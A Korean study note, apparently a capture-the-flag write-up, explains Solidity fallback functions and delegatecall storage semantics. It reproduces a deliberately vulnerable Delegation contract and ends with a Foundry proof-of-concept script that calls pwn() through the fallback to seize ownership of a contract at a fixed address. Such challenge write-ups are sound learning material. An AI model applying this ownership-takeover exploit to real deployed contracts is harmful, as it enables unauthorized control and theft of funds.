fallback(bytes calldata input) external [payable]
msg.data가 뭔지 확인해서 처리.보통 함수 호출은 "다른 컨트랙트의 함수"를 그 컨트랙트의 저장소(Storage) 를 기준으로 실함
하지만 delegatecall은 → 다른 컨트랙트의 코드를 빌려오되, 실행은 현재 컨트랙트의 저장소를 기준으로 실행.
👉 즉, 코드는 빌려오고, 데이터는 내 것(호출한 쪽 것)을 씀
특징
delegatecall을 쓰면 호출한 함수가 실행되면서 호출한 쪽 컨트랙트(A)의 상태 변수가 바뀜value(이더) 전송은 불가능// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
로직 정리
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Delegate, Delegation} from "../src/Delegation.sol";
contract PoC is Script {
address public target = 0x2184e82B07e0B900127b5c64d4eA124085D9F380;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Delegate(target).pwn();
vm.stopBroadcast();
}
}